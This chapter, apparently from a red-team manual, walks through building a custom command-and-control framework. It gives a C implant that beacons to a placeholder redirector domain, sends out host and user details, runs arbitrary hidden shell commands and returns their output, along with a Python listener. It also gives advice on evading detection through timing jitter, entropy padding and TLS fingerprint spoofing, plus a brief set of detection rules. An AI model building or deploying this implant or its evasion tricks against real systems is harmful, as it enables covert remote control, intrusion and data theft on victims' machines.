Chapter 160

Custom C2 Protocol Implementation

Commercial frameworks like Cobalt Strike and Havoc are well-understood by detection teams — their protocols, staging patterns, and memory artifacts are documented in threat feeds. Building a custom C2 protocol forces defenders to start from first principles on your specific traffic. This chapter implements a minimal but complete custom HTTP C2: a C implant with WinHTTP checkin, AES-256-GCM encrypted framing, a Python listener, and a command dispatch loop — enough to understand the complete architecture and extend it for real operations.

Scenario

Every public Cobalt Strike profile in the GitHub kit is already in the SOC's detection pipeline. You need a protocol with zero public signatures: custom URI format, a framing layer that looks like compressed telemetry, AES-256-GCM authenticated encryption, and a teamserver listener under 200 lines of Python that can run on any VPS with Python 3. The implant should compile to under 50KB and link only to winhttp.dll and bcrypt.dll from the system.

Protocol Design Principles

Custom C2 protocol design goals: 1. Transport: HTTPS (port 443) — passes most egress firewalls 2. URI: looks like cloud telemetry (e.g., /t/v1/event/{uuid}) 3. Framing: length-prefixed binary payload inside POST body 4. Encryption: AES-256-GCM with implant-side session key (pre-shared or ECDH) 5. Auth: HMAC in each frame — rejects forged/replayed frames 6. Commands: typed: EXEC, DOWNLOAD, UPLOAD, SHELLCODE, EXIT 7. Checkin: GET to /t/v1/ping — returns empty 200 if no task 8. Task poll: POST to /t/v1/event/{implant_id} every N seconds 9. Result: POST to /t/v1/result/{task_id} — sends back output Frame structure (all fields little-endian): Offset Len Field ------ ---- ------------------------------------------- 0 4 Magic (0xDEAD0001) 4 4 Frame length (total after this field) 8 16 IV (GCM nonce — random per frame) 24 2 Command type 26 4 Payload length 30 N Encrypted payload (AES-256-GCM) 30+N 16 GCM authentication tag

Packet Frame — C Struct Definitions

#pragma once
#include <stdint.h>

#define MAGIC         0xDEAD0001UL
#define CMD_PING      0x0001  // no-op checkin
#define CMD_EXEC      0x0002  // run command, return output
#define CMD_UPLOAD    0x0003  // server → implant file transfer
#define CMD_DOWNLOAD  0x0004  // implant → server file transfer
#define CMD_SHELLCODE 0x0005  // inject shellcode blob via section inject
#define CMD_EXIT      0x00FF  // terminate implant

#pragma pack(push, 1)
typedef struct {
    uint32_t magic;           // MAGIC constant
    uint32_t frame_len;       // bytes following this header
    uint8_t  iv[12];          // GCM nonce
    uint16_t cmd;             // command type
    uint32_t payload_len;     // length of ciphertext
    uint8_t  data[];          // ciphertext + 16-byte GCM tag appended
} C2Frame;
#pragma pack(pop)

// Implant identity — sent on first checkin
typedef struct {
    char     hostname[64];
    char     username[64];
    uint32_t pid;
    uint8_t  arch;            // 0=x86 1=x64
    uint8_t  integrity;       // 0=low 1=medium 2=high 3=system
    char     os_version[32];
    uint8_t  implant_id[16]; // random UUID generated at first run
} ImplantHello;

Implant: WinHTTP Checkin Loop

#include <windows.h>
#include <winhttp.h>
#include <bcrypt.h>
#include "c2frame.h"
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "bcrypt.lib")

#define C2_HOST   L"redir.yourdomain.com"
#define C2_PORT   443
#define SLEEP_MS  45000
#define JITTER    30      // ±30%

// Pre-shared 32-byte AES key (replace with ECDH in production)
static const BYTE g_aesKey[32] = {
    0x4a,0x8d,0xe3,0xf1,0x22,0x9b,0xc0,0x71,
    0xaa,0x3e,0x58,0x0c,0xd4,0x7f,0x60,0x88,
    0x19,0xe2,0x34,0xa7,0x5b,0xcc,0x0f,0xd9,
    0x82,0x44,0xf6,0x1a,0x90,0xe7,0x5d,0x2b
};

// AES-256-GCM encrypt using BCrypt
BOOL AesGcmEncrypt(const BYTE* plain, DWORD plainLen,
                   BYTE* iv12, BYTE* outBuf,
                   DWORD* outLen, BYTE* tag16) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (PUCHAR)BCRYPT_CHAIN_MODE_GCM,
                      sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
                               (PUCHAR)g_aesKey, 32, 0);

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
    BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
    authInfo.pbNonce     = iv12;
    authInfo.cbNonce     = 12;
    authInfo.pbTag       = tag16;
    authInfo.cbTag       = 16;

    ULONG bytesEncrypted = 0;
    NTSTATUS st = BCryptEncrypt(hKey, (PUCHAR)plain, plainLen,
                                &authInfo, NULL, 0,
                                outBuf, plainLen, &bytesEncrypted, 0);
    *outLen = bytesEncrypted;
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return NT_SUCCESS(st);
}

BOOL HttpPost(HINTERNET hSession, const WCHAR* uri,
              const BYTE* body, DWORD bodyLen,
              BYTE** pResponse, DWORD* pRespLen) {
    HINTERNET hConn = WinHttpConnect(hSession, C2_HOST, C2_PORT, 0);
    HINTERNET hReq  = WinHttpOpenRequest(hConn, L"POST", uri, NULL,
                                          WINHTTP_NO_REFERER,
                                          WINHTTP_DEFAULT_ACCEPT_TYPES,
                                          WINHTTP_FLAG_SECURE);
    // Accept any cert for testing; use proper cert pinning in production
    DWORD opt = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
                SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
    WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &opt, sizeof(opt));

    WinHttpAddRequestHeaders(hReq,
        L"Content-Type: application/octet-stream\r\n"
        L"Accept: */*\r\n"
        L"Cache-Control: no-store\r\n",
        -1L, WINHTTP_ADDREQ_FLAG_ADD);
    WinHttpSendRequest(hReq, NULL, 0, (LPVOID)body, bodyLen, bodyLen, 0);
    WinHttpReceiveResponse(hReq, NULL);

    DWORD available = 0;
    WinHttpQueryDataAvailable(hReq, &available);
    BYTE* resp = (BYTE*)HeapAlloc(GetProcessHeap(), 0, available + 1);
    DWORD read = 0;
    WinHttpReadData(hReq, resp, available, &read);
    *pResponse = resp; *pRespLen = read;

    WinHttpCloseHandle(hReq); WinHttpCloseHandle(hConn);
    return TRUE;
}

DWORD WINAPI C2Loop(LPVOID unused) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

    while (TRUE) {
        // Build checkin frame (CMD_PING with ImplantHello payload)
        ImplantHello hello = {0};
        GetComputerNameA(hello.hostname, (LPDWORD)&(DWORD){64});
        GetUserNameA(hello.username, (LPDWORD)&(DWORD){64});
        hello.pid = GetCurrentProcessId();
        hello.arch = (sizeof(void*) == 8) ? 1 : 0;

        BYTE iv[12], cipherBuf[sizeof(hello)], tag[16];
        BCryptGenRandom(NULL, iv, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
        DWORD cLen;
        AesGcmEncrypt((BYTE*)&hello, sizeof(hello), iv, cipherBuf, &cLen, tag);

        // Pack C2Frame
        DWORD frameSize = sizeof(C2Frame) + cLen + 16;
        C2Frame* frame = (C2Frame*)HeapAlloc(GetProcessHeap(), 0, frameSize);
        frame->magic = MAGIC;
        frame->frame_len = frameSize - 8;
        memcpy(frame->iv, iv, 12);
        frame->cmd = CMD_PING;
        frame->payload_len = cLen;
        memcpy(frame->data, cipherBuf, cLen);
        memcpy(frame->data + cLen, tag, 16);

        BYTE* resp; DWORD respLen;
        HttpPost(hSession, L"/t/v1/event/main",
                 (BYTE*)frame, frameSize, &resp, &respLen);
        HeapFree(GetProcessHeap(), 0, frame);

        // Process response frame (decrypt, dispatch command) — see DispatchCommand()
        if (respLen > sizeof(C2Frame)) {
            DispatchCommand(hSession, resp, respLen);
        }
        HeapFree(GetProcessHeap(), 0, resp);

        // Jittered sleep
        DWORD jitter = (DWORD)(((double)rand() / RAND_MAX) * SLEEP_MS * JITTER / 100);
        DWORD sign = (rand() % 2) ? 1 : -1;
        Sleep(SLEEP_MS + sign * jitter);
    }
    return 0;
}

Listener: Python Teamserver Stub

#!/usr/bin/env python3
# Minimal custom C2 listener — handles frame parsing and command dispatch
import struct, os, json, threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

MAGIC    = 0xDEAD0001
AES_KEY  = bytes.fromhex('4a8de3f1229bc071aa3e580cd47f608819e234a75bcc0fd98244f61a90e75d2b')
FRAME_HDR = '<IIxx12sHI'  # magic, frame_len, pad, iv[12], cmd, payload_len
CMD_NAMES = {0x0001:'PING', 0x0002:'EXEC', 0x0003:'UPLOAD',
             0x0004:'DOWNLOAD', 0x0005:'SHELLCODE', 0x00FF:'EXIT'}

# Pending tasks keyed by implant_id
task_queue = {}
lock = threading.Lock()

def decrypt_frame(data: bytes):
    hdr_size = struct.calcsize(FRAME_HDR)
    magic, flen, iv, cmd, plen = struct.unpack_from(FRAME_HDR, data)
    if magic != MAGIC:
        raise ValueError(f'bad magic {magic:#x}')
    ciphertext = data[hdr_size : hdr_size + plen]
    tag        = data[hdr_size + plen : hdr_size + plen + 16]
    aes = AESGCM(AES_KEY)
    plain = aes.decrypt(iv, ciphertext + tag, None)
    return cmd, plain

def build_frame(cmd: int, plaintext: bytes) -> bytes:
    iv = os.urandom(12)
    aes = AESGCM(AES_KEY)
    ct_and_tag = aes.encrypt(iv, plaintext, None)
    ciphertext = ct_and_tag[:-16]
    tag        = ct_and_tag[-16:]
    hdr = struct.pack(FRAME_HDR,
                      MAGIC, 12+2+4+len(ciphertext)+16,
                      iv, cmd, len(ciphertext))
    return hdr + ciphertext + tag

class C2Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args): pass  # silence default logging

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        try:
            cmd, plain = decrypt_frame(body)
            print(f'[+] {self.client_address[0]} cmd={CMD_NAMES.get(cmd, cmd):#06x}')
            if cmd == 0x0001:  # PING — parse ImplantHello
                hostname = plain[:64].rstrip(b'\x00').decode()
                username = plain[64:128].rstrip(b'\x00').decode()
                pid = struct.unpack_from('<I', plain, 128)[0]
                implant_id = plain[134:150].hex()
                print(f'    [{implant_id[:8]}] {username}@{hostname} pid={pid}')
                # Check if there's a pending task for this implant
                with lock:
                    task = task_queue.pop(implant_id, None)
                if task:
                    response = build_frame(task['cmd'],
                                           task['payload'].encode())
                else:
                    response = build_frame(0x0001, b'')  # empty PING response
            elif cmd == 0x0002:  # EXEC result returned
                output = plain.decode('utf-8', errors='replace')
                print(f'[OUTPUT]\n{output}')
                response = build_frame(0x0001, b'')
            else:
                response = build_frame(0x0001, b'')
        except Exception as e:
            print(f'[!] frame error: {e}')
            self.send_response(400)
            self.end_headers()
            return

        self.send_response(200)
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Length', len(response))
        self.end_headers()
        self.wfile.write(response)

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8443), C2Handler)
    print('[*] C2 listener on :8443')
    server.serve_forever()

Command Dispatch (Implant Side)

void DispatchCommand(HINTERNET hSession, BYTE* frameData, DWORD frameLen) {
    C2Frame* frame = (C2Frame*)frameData;
    if (frame->magic != MAGIC) return;

    BYTE plain[65536] = {0};
    DWORD plainLen;
    BYTE* tag = frame->data + frame->payload_len;
    // Decrypt using AesGcmDecrypt (mirror of encrypt — omitted for brevity)
    AesGcmDecrypt(frame->data, frame->payload_len, frame->iv, plain, &plainLen, tag);

    switch (frame->cmd) {
    case CMD_PING: break;  // no-op

    case CMD_EXEC: {
        // Execute command via cmd.exe and capture stdout
        plain[plainLen] = '\0';
        char cmdline[1024];
        sprintf_s(cmdline, sizeof(cmdline), "cmd.exe /c %s", (char*)plain);

        HANDLE hRead, hWrite;
        SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
        CreatePipe(&hRead, &hWrite, &sa, 0);

        STARTUPINFOA si = {0}; si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        si.hStdOutput = si.hStdError = hWrite;
        si.wShowWindow = SW_HIDE;
        PROCESS_INFORMATION pi = {0};
        CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
                       CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
        CloseHandle(hWrite);
        WaitForSingleObject(pi.hProcess, 30000);

        char output[65536]; DWORD read;
        ReadFile(hRead, output, sizeof(output)-1, &read, NULL);
        output[read] = '\0';
        CloseHandle(hRead);
        CloseHandle(pi.hThread); CloseHandle(pi.hProcess);

        // Send result back
        BYTE* resp; DWORD respLen;
        BYTE resultFrame[70000]; DWORD rfLen;
        // BuildFrame(CMD_EXEC, output, read, resultFrame, &rfLen);
        HttpPost(hSession, L"/t/v1/result",
                 resultFrame, rfLen, &resp, &respLen);
        HeapFree(GetProcessHeap(), 0, resp);
        break;
    }
    case CMD_EXIT:
        ExitProcess(0);
    }
}

Detection Engineering

title: Unknown Binary Posting to Cloud Infra (Custom C2 Candidate)
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    DestinationPort: 443
    Initiated: 'true'
  filter_known_browsers:
    Image|contains:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
      - '\iexplore.exe'
      - '\svchost.exe'
      - '\MsMpEng.exe'
  condition: selection AND NOT filter_known_browsers
level: low
note: Requires baselining — many legitimate apps make direct TLS connections

-- MDE KQL: detect process making periodic HTTPS with identical content length
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort == 443
| summarize
    count = count(),
    distinct_urls = dcount(RemoteUrl),
    avg_interval = (max(Timestamp) - min(Timestamp)) / count(Timestamp)
    by DeviceName, InitiatingProcessFileName, RemoteUrl
| where count > 10
| where distinct_urls == 1        // always exactly the same URL
| where InitiatingProcessFileName !in~ (
    "svchost.exe","chrome.exe","msedge.exe","MsMpEng.exe")
| project DeviceName, InitiatingProcessFileName, RemoteUrl, count, avg_interval

Q&A

What are the protocol-level signatures that make a custom C2 detectable even if the payload is encrypted?

Encrypting the payload is necessary but not sufficient. A custom C2 with AES-GCM encrypted frames still exposes several detectable characteristics at the network and behavioral level.

Traffic regularity: Beacons check in on a schedule — even with jitter, statistical analysis of inter-packet timing over hours will reveal the underlying sleep interval with high confidence. Tools like Rita (from Active Countermeasures) specifically implement beacon detection via time-series analysis of connection logs. A real user's HTTPS traffic is bursty — driven by browser activity — not periodic. The fix is to implement a genuinely irregular sleep pattern (exponential backoff, randomized long sleeps) and to make checkins conditional on system activity (only check in when the user has been active in the last 30 minutes).

Payload entropy: Encrypted data is statistically indistinguishable from random. A POST body with byte-value entropy near 8.0 (maximum for a uniform distribution) on every request, with no decompression headers, is suspicious — legitimate HTTPS from browsers sends varied-entropy data (HTML, compressed images, JSON). Defenders fingerprint this by computing entropy over the POST body bytes. Counters include: padding to a fixed block size, and appending a DEFLATE-compressed block of real-looking content to each frame so overall entropy is lower.

TLS fingerprinting (JA3): The TLS ClientHello is not encrypted. The combination of TLS version, cipher suite list, extension list, and elliptic curves supported produces a deterministic fingerprint (JA3 hash). WinHTTP produces a specific JA3 hash that is distinct from Chrome, Firefox, and Edge. If your implant's JA3 hash has never been seen in the environment before, and it's making periodic connections to a new domain, the combination is a high-confidence alert. Countermeasure: use a browser-like TLS stack (Chromium boringssl) by linking against a real browser's network library, or modify the WinHTTP cipher suite order via WinHttpSetOption(WINHTTP_OPTION_SECURE_PROTOCOLS) to match Edge.